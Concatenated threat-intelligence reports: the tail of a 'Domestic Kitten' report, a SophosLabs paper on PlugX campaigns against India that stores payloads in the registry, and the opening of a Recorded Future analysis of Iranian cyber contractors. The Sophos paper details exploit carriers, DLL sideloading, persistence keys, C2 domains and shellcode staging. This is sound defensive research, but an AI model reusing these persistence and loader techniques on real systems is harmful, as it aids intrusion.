]49 Firmwaresystemupdate[.
]com Stevenwentz[.
]com Ronaldlubbers[.
]site Georgethompson[.
]space 10/10 https://www.checkpoint.com/products/mobile-threat-defense/ https://www.zonealarm.com/ Domestic Kitten: An Iranian Surveillance Operation
A SophosLabs technical paper - February 2015 By Gabor Szappanos, Principal Researcher PlugX goes to the registry (and India) 1A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Contents Overview 2 PlugX in registry 3 Peeled Tomato 4 Multi-staged installer shellcode 17 2A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Overview Recently we published a paper about the capabilities of APT groups [https://nakedsecurity.
sophos.com/2015/02/03/exploit-this-evaluating-the-exploit-skills-of-malware-groups/].
One of the conclusions of the paper was that the authors behind the targeted attack campaigns usually have little knowledge about the actual exploit they are using to distribute their malware.
But at the same time, we warned our readers never to underestimate them, because otherwise they are skilled, and quite capable of developing sophisticated backdoors.
One of the worst performances in our comparison of exploit development belonged to the infamous PlugX malware group(s).
However, they recently came out with a couple of significant developments in the backdoor component, demonstrating the point above.
One of the improvements was the introduction of a peer-to-peer communication channel to other infected hosts [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html].
Variants using this technology have previously been spotted in the Rotten Tomato campaign [http://blogs.sophos.
com/2014/10/30/the-rotten-tomato-campaign-new-sophoslabs-research-on-apts/].
Now additional samples have shown up from this generation.
But in addition to the new communication method, some of them were showing another new characteristic: the payload was not stored as separate files, or embedded within the loader DLL, but instead was saved to the registry.
Malware hiding components in registry is not a revolutionary idea we have seen that before.
Most notably the recent Poweliks Trojan [https://blog.gdatasoftware.com/blog/article/poweliks- the-persistent-malware-without-a-file.html] stored the active script component in the registry.
Even some of the APT malware families, like Poison or Frethog, occasionally used the registry as storage for the main payload.
There were precursors even within the criminal groups distributing PlugX: they used this method back in 2013 in a couple of cases for storing the Omdork (a.k.a.
Sybin) payload.
So it was only a question of when the same would happen to the main PlugX backdoor.
And that time arrived this January.
https://nakedsecurity.sophos.com/2015/02/03/exploit-this-evaluating-the-exploit-skills-of-malware-gr https://nakedsecurity.sophos.com/2015/02/03/exploit-this-evaluating-the-exploit-skills-of-malware-gr http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blogs.sophos.com/2014/10/30/the-rotten-tomato-campaign-new-sophoslabs-research-on-apts/ http://blogs.sophos.com/2014/10/30/the-rotten-tomato-campaign-new-sophoslabs-research-on-apts/ https://blog.gdatasoftware.com/blog/article/poweliks-the-persistent-malware-without-a-file.html https://blog.gdatasoftware.com/blog/article/poweliks-the-persistent-malware-without-a-file.html 3A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) PlugX in registry The new variants were distributed using two distinguishable classes of exploited carrier documents though in both cases the CVE-2012-0158 exploit was used.
For the first type the distribution was part of a longer campaign, targeting India.
This campaign spanned several months, from September 2014 to February 2015.
During this time span different variants of the PlugX backdoor were observed as the final payload.
Apparently, this was an ongoing operation, where the actors behind it used the latest available versions, as they came out of the factory.
Additionally, a few affiliated malware families were distributed to the targets.
The samples of the second type showed up the first week of February.
At this point we dont have conclusive information about the scope and target of the campaign that used these samples.
The payload is stored in encrypted form in the registry.
It is loaded, decrypted and executed by the malware loader component.
That loader is very similar to the usual PlugX loader DLLs, except that it loads the payload from a registry key instead of a separate file.
PlugX payload in the registry The stored payload is the new P2P PlugX backdoor, with internal function names not seen in earlier PlugX v2 versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1.
PlugX backdoors use a specific date parameter at specific places in the code.
This constant could be used as a major version identifier: when the backdoor code was only slightly modified, the constant did not change.
When the constant was updated, that usually meant a significant change in the code.
In earlier versions this constant was a meaningful date in hexadecimal representation (e.g.
0x20130810 in most of the next generation PlugX samples).
In the P2P PlugX version it changed, now being a meaningful date in decimal representation (e.g.
0x13352AF 20140719 in the case of the Rotten Tomato samples).
In the case of registry stored PlugX variants, this constant was stepped further to 20150108, which indicates a new development from the factory.
Less than a month later these new variants were already spotted in targeted campaigns in India.
4A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Peeled Tomato The first campaign we labelled as Peeled Tomato, in reference to the earlier Rotten Tomato case, because they were clearly derived from those samples.
As a reminder, the original structure of the Rotten Tomato samples was the following: The RTF documents started with an encrypted Zbot Trojan (remainder of the original template used for creating the samples), then a block using the CVE-2012-0158 exploit and the corresponding shellcode.
After that, there was a block using the CVE-2014-1761 exploit and the corresponding first stage shellcode, followed by the second stage shellcode from the CVE-2014- 1761 exploit, and finally the encrypted PlugX backdoor.
The first stage of the CVE-2014-1761 shellcode used a bad offset for the second stage code, thus this exploit never worked.
CVE-2012-0158 exploit and shellcode Encrypted Zbot CVE-2014-1761 exploit and first stage shellcode Memory marker and CVE-2014-1761 second stage shellcode Encrypted PlugX 5A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Having realized the failure of the attempt, the malware authors removed the CVE-2014-1761 exploit block.
But even that was not done completely.
As a result, they ended up with documents showing the following structure: Samples Not surprisingly, just like with several other campaigns, in this case it was observed that different malware families were distributed using similar carrier documents only the encrypted payload was replaced at the end of the file.
The shellcode used in the carrier was very convenient for this purpose: the length and location of the final payload was stored at the end of the file.
It was possible to swap the payload without needing to modify the exploit condition and the shellcode itself.
And this is exactly what the malware authors did.
CVE-2012-0158 exploit and shellcode Encrypted Zbot Memory marker and CVE-2014-1761 second stage shellcode Encrypted PlugX 6A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) 9blog This malware family was described in this blog: [http://www.fireeye.com/blog/technical/ malware-research/2013/08/the-curious-case-of-encoded-vb-scripts-apt-nineblog.html] 19e9dfabdb9b10a90b62c12f205ff0d1eeef3f14 Original name: ghozaresh amniyati.doc System activity: Dropped to PROFILE\Application Data\Erease.vbe SAV detection: Troj/DocDrop-CH, VBS/9Blog-A CC servers: www.freetimes.dns05.com Free Dynamic DNS provider http://www.fireeye.com/blog/technical/malware-research/2013/08/the-curious-case-of-encoded-vb-script http://www.fireeye.com/blog/technical/malware-research/2013/08/the-curious-case-of-encoded-vb-script 7A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Smoaler This malware family was described in this blog: [https://nakedsecurity.sophos.com/2013/07/15/ the-PlugX-malware-factory-revisited-introducing-smoaler/], and traditionally has strong ties with PlugX, sharing dropper code and CC infrastructure.
The samples were observed during the period between November 2014 and January 2015 in Russia.
Original name: .doc System activity: Dropped to C:\Documents and Settings\All Users\Application Data\Microsoft\Windows\Burn\ COMPUTERNAME.dll and C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\LiveUpdata_Mem\CrtRunTime.log registered for startup in HKCU\Software\Microsoft\ Windows\CurrentVersion\Policies\Explorer\run COMPUTERNAME Here COMPUTERNAME is the name of the computer, as set in Windows preferences.
SAV detection: Exp/20120158-A, Troj/Smoaler-F CC servers: lucas1.dnset.com d746ca9b74fb04782e0e783980f7702a9356f1c7 https://nakedsecurity.sophos.com/2013/07/15/the-plugx-malware-factory-revisited-introducing-smoaler/ https://nakedsecurity.sophos.com/2013/07/15/the-plugx-malware-factory-revisited-introducing-smoaler/ 8A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: (2014.10).doc The decoy document is the same as in the case of the Nineblog sample.
System activity: Dropped to C:\Documents and Settings\All Users\Application Data\Microsoft\Windows\Burn\ COMPUTERNAME.dll and C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\LiveUpdata_Mem\CrtRunTime.log registered for startup in HKCU\Software\Microsoft\ Windows\CurrentVersion\Policies\Explorer\run COMPUTERNAME Here COMPUTERNAME is the name of the computer, as set in Windows preferences.
SAV detection: Exp/20120158-A, Troj/Smoaler-F 9A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) PlugX v2 These samples were distributed in September and October 2014, in India.
6f845ef154a0b456afcf8b562a0387dabf4f5f85 Original name: Indian Cooking Recipe.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: supercat.strangled.net Free dynamic DNS provider a97827aef54e7969b9cbbec64d9ee81a835f2240 https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 10A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Calling Off India-Pak Talks.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: nusteachers.no-ip.org Free dynamic DNS provider e8a29bb90422fa6116563073725fa54169998325 https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 11A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Human Rights Violations of Tibet.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: ruchi.mysq1.net Dynamic DNS provider a7e52cb429ac22cc20be77158f97d6f9dd887e1f This sample is an outlier, as it was distributed in January 2015, and in Russia.
The decoy document is also unconvential, of minimalistic design.
But the carrier document and the CC server name shows correlation with the rest of the campaign.
https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 12A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Calling Off India-Pak Talks.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\usta\usha.exe (digitally signed clean loader by Kaspersky) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll (malware loader) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll.avp (payload).
Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\usta ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-the- labs-PlugX-the-next-generation/], date constant is 0x20130810 SAV detection: Exp/20120158-A, Troj/PlugX-AP CC servers: lucas1.freetcp.com Free dynamic DNS provider P2P PlugX These samples were distributed in January 2015, in India.
147fbdfeed9f0825026b3b3ce558c3ad00410b11 https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 13A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Minutes of meeting.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll.gui (payload), Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\gzQkNtWeabrwf ImagePath The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20141028.
SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: unisers.com Registrant Name: wang cheng Registrant Organization: wang cheng Registrant Street: BeijingDaguoROAD136 Registrant City: Beijing Registrant State/Province: Beijing Registrant Postal Code: 100001 Registrant Country: CN Registrant Phone : 86.01085452454 Registrant Phone Ext: Registrant Fax: 86.01085452454 Registrant Fax Ext: Registrant Email:bitumberls163.com 8ee8ab984cb01762dfc6d341278b87a7c83906cf http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 14A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: U.S.,_India_to_formulate_smart_city_action_plans_in_three_months.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\inbjUkRVq\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll.gui (payload), Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\brwTRsulGqjj ImagePath The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20141028.
SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP CC servers: unisers.com Registrant Name: wang cheng Registrant Organization: wang cheng Registrant Street: BeijingDaguoROAD136 Registrant City: Beijing Registrant State/Province: Beijing Registrant Postal Code: 100001 Registrant Country: CN Registrant Phone : 86.01085452454 Registrant Phone Ext: Registrant Fax: 86.01085452454 Registrant Fax Ext: Registrant Email:bitumberls163.com http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 15A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Registry PlugX These samples were typically distributed in January-February 2015, in India.
a4602a357360b0ed8e9b0814b1322146156fb7f6 Original name: CHINA NEWS BRIEF 09 of 2015.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath payload stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Exp/20120158-A, Troj/PlugX-AP CC servers: freemoney.ignorelist.com Free dynamic DNS provider 03b2a660d68004444a5189173e3b8001f4a7cd0b http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 16A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Draft contract CMS Trg System.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath payload stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Exp/20120158-A, Troj/PlugX-AP CC servers: freemoney.ignorelist.com Free dynamic DNS provider http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 17A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Multi-staged installer shellcode This second batch of exploited documents had a different structure.
All start with a heading RTF content (which is exactly the same in all of the documents), followed by the block that exploits the CVE-2012-0158 vulnerability, along with the first stage shellcode, followed by the second and third stage shellcodes, and finally the encrypted payload executable.
RTF heading of exploited documents The shellcode itself is encrypted with a 4 byte XOR algorithm, with a lot of inserted junk instructions: fprem1 add edi, ebx jz short loc_13B nop fnclex fldl2e nop and ebx, ebx test eax, eax fsin xor [edi], esi jp short loc_14B f2xm1 mov edx, edx nop cld fst st(1) pop edi jle short loc_157 fldpi fprem1 cmp edi, esi fdivrp st(1), st In the above code sample, only the XOR [EDI], ESI instruction is meaningful, performing the decryption of the one dword the rest are only polymorphic junk.
18A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) The underlying shellcode is multi-stage andhas already been observed in an earlier sample dropping a PlugX v2 variant (SHA1: 9b90d6608ba6167619b5991fd70319dfcd1fa881, date constant 0x20140613), but in that case without the top level cryptor.
After the initial bootstrap code is decrypted, it identifies the carrier by looking for DCBA at file offset 0x4e28.
If it is found there, it allocates a memory area and decrypts (using one byte XOR algorithm) the next stage starting from right after the ID string.
The second stage code decrypts and drops two files: the self-extracting installer archive M.B and the first stage installer M.T into the TEMP folder, then allocates another memory region, decrypts, copies and executes the third stage shellcode there.
The third stage shellcode copies the first stage installer (which is a DLL library) M.T into WINDOWS\Tasks\n.dll, then executes by calling LoadLibrary to load it.
The Windows loader upon loading the DLL will execute its entry code.
This entry code runs the self-extracting installer archive M.B which will do the final malware installation in the system.
This final piece of installation process is malware family dependent.
This new shellcode also indicates some heavy development in the PlugX factory.
Both this kind of multi-stage shellcode and the external cryptor indicate that although the group is not top class in exploit development, in conventional malware development they show serious skills, which makes them dangerous.
dea6525b696df4643b10eb91381d95eec51479d7 Second stage shellcode First stage shellcode Third stage shellcode WINDOWS\Tasks\n.dll Malware installer Exploited document M.T M.B 19A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: paris_declaration january_final.doc The dropped decoy document is corrupted.
On opening it, Word will show a conversion dialog as a result of the incomprehensible content.
System activity: Dropped to C:\Documents and Settings\All Users\DRM\emproxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\emproxy\SXLOC.DLL and WINDOWS\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath and by dropping n.dll into the Windows Tasks directory.
The n.dll file is a first stage installer, loads M.B, which is dropped into the TEMP directory.
This installer is a self-extracting WinRAR that contains RasTls.exe and a config file.
After the installation, this RAR SFX file is removed from the system.
Payload is stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP CC servers: sumy2012.jkub.com Free dynamic DNS provider 6340a7916db67c1b6dc1731014bb440435578c66 http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 20A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Obama against IS.doc The dropped decoy document is corrupted just like in the previous case.
System activity: Dropped to C:\Documents and Settings\All Users\DRM\emproxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\emproxy\SXLOC.DLL and WINDOWS\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath and by dropping n.dll into the Windows Tasks directory.
The n.dll file is a first stage installer, loads M.B, which is dropped into the TEMP directory.
This installer is a self-extracting WinRAR that contains RasTls.exe and a config file.
After the installation, this RAR SFX file is removed from the system.
Payload is stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP CC servers: dheeraj_gaurav.mooo.com Free dynamic DNS provider 739405cad3650ed0447a475f50f814f7c9787ff4 http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 21A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: N/A On execution this dropper displays a blank decoy document.
System activity: Dropped to C:\Documents and Settings\All Users\DRM\RdeGL\fsguidll.exe (digitally signed clean loader by F-Secure) and C:\Documents and Settings\All Users\DRM\RdeGL\fslapi.dll (malware loader) and C:\Documents and Settings\All Users\DRM\RdeGL\fslapi.dll.gui (payload) and WINDOWS\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\dUuNvGfDQkAll ImagePath and by placing n.dll in the Windows Tasks directory.
The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20141028.
The n.dll file executes a backup installer, M.B, which is dropped into the TEMP directory.
The only problem is that this file is never created.
SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP CC servers: www.notebookhk.net Registrant Name: lee stan Registrant Organization: lee stan Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State/Province: xianggang Registrant Postal Code: 796373 Registrant Country: HK Registrant Phone : 0.04375094543 Registrant Phone Ext: Registrant Fax: 0.04375094543 Registrant Fax Ext: Registrant Email:stanleegmail.com 56b3f0f03ae12b56c000df67c1153d518c8a66fc This sample is an outlier.
It does not distribute PlugX, but uses a strikingly similar persistence method, with exactly the same file names that are used with PlugX installations.
Only the final payload is a different backdoor, Omdork, which has earlier been observed in PlugX related distribution channels.
http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 22A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: United Nations Security Council Committee Pursuant to Resolutions1267.doc System activity: Dropped to C:\Documents and Settings\All Users\FlashUpdate\RasTls.exe and C:\Documents and Settings\All Users\FlashUpdate\msi.dll.mov (encrypted payload) and WINDOWS\Tasks\n.
dll.
The persistence is achieved by two methods: RasTls.exe is registered in HKCU\Software\ Microsoft\Windows\CurrentVersion\Run msusr, and the n.dll is dropped to the Windows Tasks directory for automatic execution.
While the file names are the same as in the case of many PlugX deployments, the files themselves are very different.
RasTls.exe is not digitally signed, it is the loader Trojan, that loads the encrypted payload from a resource.
This payload itself contains a loader code, and an embedded executable, that is the final payload.
The n.dll file executes a backup installer, M.B, which is dropped into the TEMP directory.
This installer is a self-extracting WinRAR that contains RasTls.exe and a config file.
There are still reasons to believe that this malware is strongly connected to the PlugX group: It uses the same filenames as some of the PlugX deployments It uses the same carrier document as the other PlugX variants in this campaign, including the unique shellcode The same n.dll is used in both the Omdork and PlugX deployments PlugX goes to the registry (and India) More than 100 million users in 150 countries rely on Sophos as the best protection against complex threats and data loss.
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SAV detection: Troj/DocDrop-CD, Troj/Omdork-E CC servers: www.togolaga.com Registrant Name: wang feng Registrant Organization: wang feng Registrant Street: beijingshi Registrant City: beijingshi Registrant State/Province: beijing Registrant Postal Code: 100000 Registrant Country: CN Registrant Phone : 86.01090888962 Registrant Phone Ext: Registrant Fax: 86.01090888962 Registrant Fax Ext: Registrant Email:battuya_2002yahoo.com United Kingdom and Worldwide Sales Tel: 44 (0)8447 671131 Email: salessophos.com North American Sales Toll Free: 1-866-866-2802 Email: nasalessophos.com Australia and New Zealand Sales Tel: 61 2 9409 9100 Email: salessophos.com.au Asia Sales Tel: 65 62244168 Email: salesasiasophos.com Oxford, UK Boston, USA Copyright 2014.
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1180-06.14DD.tpna.simple http://www.sophos.com/products Overview Plugx in registry Peeled Tomato Multi-staged installer shellcode
CYBER THREAT ANALYSIS Irans Hacker Hierarchy Exposed By Levi Gundert, Sanil Chohan, and Greg Lesnewich Recorded Future How the Islamic Republic of Iran Uses Contractors and Universities to Conduct Cyber Operations Recorded Future www.recordedfuture.com CTA-2018-0509 Scope Note: Insikt Group conducted interviews with a former Iranian hacker with first-hand knowledge of the information shared and was living in Iran when he started one of Irans first security forums.
This sources commentary forms the basis for the background on the genesis of Irans offensive cyber efforts.
Additional research was facilitated with Recorded Future and by leveraging third- party metadata and open source intelligence (OSINT) techniques using a variety of tools.
While we address historical background and precedent in the piece, the technical analysis regarding organizations and institutes in Irans offensive cyber program is based on data collected from March 1, 2018 to April 30, 2018.
Executive Summary Since at least 2009, the Islamic Republic of Iran has regularly responded to sanctions or perceived provocations by conducting offensive cyber campaigns.
The Islamic Republic has historically preferred to use proxies or front organizations both in physical conflict Hezbollah against Israel and Yemen rebels against Saudi Arabia and cyberattacks to achieve their policy goals.
Currently, Iran faces the prospect of negative economic impact via renewed sanctions.
On May 8, 2018 President Trump announced that the United States would not renew the waivers on sanctions against Iran.
The U.S will instead impose additional economic penalties , the combination of which amounts to a de facto U.S. withdrawal from the 2015 Joint Comprehensive Plan of Action (JCPOA) (commonly referred to as the Iran nuclear deal.
We assess, based on Irans previous reactions to economic pressure, that with President Trumps exit from the JCPOA, Iran is likely to respond by launching cyberattacks on Western businesses within months, if not faster.
Judging from historical patterns, the businesses likely to be at greatest risk are in many of the same sectors that were victimized by Iranian cyberattacks between 2012 and 2014 and include banks and financial services, government departments, critical infrastructure providers, and oil and energy.
Key Judgments The Islamic Republic has abandoned its typically deliberate and methodical approach to cyber operations on only two known occasions, in 2012 and in 2014, when a quick reactionary response was required.
We assess that when Iranian cyber operators respond to the U.S. withdrawal from the JCPOA that the operations will be staffed and executed by capable, but less trusted contractors.
Further, we assess that staffing these operations with less trusted contractors could result in a scenario where the Islamic Republic has difficulty controlling the scope and scale of the destructive cyberattacks once they have begun.
Recorded Future www.recordedfuture.com CTA-2018-0509 https://www.recordedfuture.com/iranian-saudi-cyber-conflict/ https://www.nytimes.com/2018/05/08/world/middleeast/trump-iran-nuclear-deal.html https://www.cnn.com/2018/05/08/politics/donald-trump-iran-deal-announcement-decision/index.html https://www.reuters.com/article/us-iran-nuclear-usa/trump-has-all-but-decided-to-withdraw-from-iran-nuclear-deal-sources-idUSKBN1I331R https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ Iranian cyber operations are administered via a tiered approach, where an ideologically and politically trusted group of middle managers translate intelligence priorities into segmented cyber tasks which are then bid out to multiple contractors.
This creates a quasi-capitalistic system that pits contractors against each other for influence with the Iranian government.
The Islamic Republic operates with embedded paranoia, where ultimately, no one can be trusted.
The situation creates unique trade-offs in Irans government-sanctioned offensive cyber campaigns individuals with demonstrated adherence to the governments ideology and individuals with the greatest offensive cyber skills are almost always mutually exclusive.
Based on our sources conversations with other hackers in Iran, there are over 50 estimated contractors vying for Iranian government-sponsored offensive cyber projects.
Only the best individuals or teams succeed, are paid, and remain in business.
Insikt Group analyzed internet traffic relating to various institutes affiliated with the Iranian cyber ecosystem from March 1, 2018 to April 30, 2018.
As this is the first profiling of Iranian internet activity for these institutes, we cannot determine whether the suspicious activity we analyzed was in preparation of the U.S. announcement.
According to Insikt Groups source, to find and retain the best offensive cyber talent, Iranian government contractors are forced to mine closed-trust communities.
The links between the forums and contractors may illustrate that the trust communities begin with the Iranian security forums.
The History of Iranian Geopolitical Response and the Nuclear Agreement Decision Editors Note: Where applicable, information in this section was provided by a former Iranian hacker with direct access to the information provided.
Based on additional corroboration, we assess high confidence in this information.
We refer to this individual as Insikt Groups source in other sections where their information is cited.
Since 1979, Irans reactions to perceived Middle Eastern adversaries foreign policy has been a study in the use of proxies.
Specifically, Israel, Saudi Arabia, United States, and Iraq have been frequent targets of Iranian- funded military actions, most recently through Houthi rebels in Yemen, and Hezbollah everywhere else.
Since 2009, Iran has developed proxies in the cyber domain to partially obfuscate government fingerprints from foreign attacks.
Subsequent to starting a cyber operations program in 2009, the Iranian government had an immediate need to use the program in the fall of 2012 after U.S. President Obama imposed severe financial sanctions on Iran, including removing Iran from the SWIFT money transfer system.
Recorded Future www.recordedfuture.com CTA-2018-0509 https://en.wikipedia.org/wiki/Iranian_Revolution https://www.haaretz.com/middle-east-news/iran/the-four-battlegrounds-iran-uses-to-threaten-israel-and-the-middle-east-1.6049886 https://www.aljazeera.com/news/2017/11/saudi-iran-proxy-wars-pursuit-regional-hegemony-171113110353492.html https://en.wikipedia.org/wiki/1983_United_States_embassy_bombing https://www.brookings.edu/opinions/how-will-iraq-contain-irans-proxies/ https://www.haaretz.com/israel-news/iranian-armed-rebels-threaten-one-of-world-s-busiest-shipping-route-1.5790427 https://en.wikipedia.org/wiki/Hezbollah_military_activities https://www.reuters.com/article/us-iran-sanctions-swift/bankings-swift-says-ready-to-block-iran-transactions-idUSTRE81G26820120217 https://www.reuters.com/article/us-iran-sanctions-swift/bankings-swift-says-ready-to-block-iran-transactions-idUSTRE81G26820120217 According to Insikt Groups source, the Iranian government authorized denial-of-service attacks on Americas largest financial services companies as an immediate response to the sanctions in a campaign dubbed Operation Ababil.
A quick response was top priority, so time and planning were forgone luxuries for the Iranian government.
Instead, the Iranian government opted for speed and the most capable actors, regardless of demonstrated ideology.
Similarly, a year later in the fall of 2013, Sheldon Adelson (the CEO of Sands Corporation) publicly suggested that the United States should attack Iran with an atomic weapon.
In February 2014, Iran launched a destructive attack on the Sands Las Vegas Corporation that caused significant network damage.
This was the second public Iranian attack campaign on an American business, where the response called for speed over time and preparation.
The Iranian attacks in 2012 and 2014 were in contrast to the relatively slow and methodical work of APT 33, APT 34, and APT 35, developing custom malware, targeting data exfiltration from strategic intelligence targets such as U.S. military contractors, Middle East energy companies, and university research networks.
Recorded Future www.recordedfuture.com CTA-2018-0509 Comparing Iranian campaigns methodical versus reactionary.
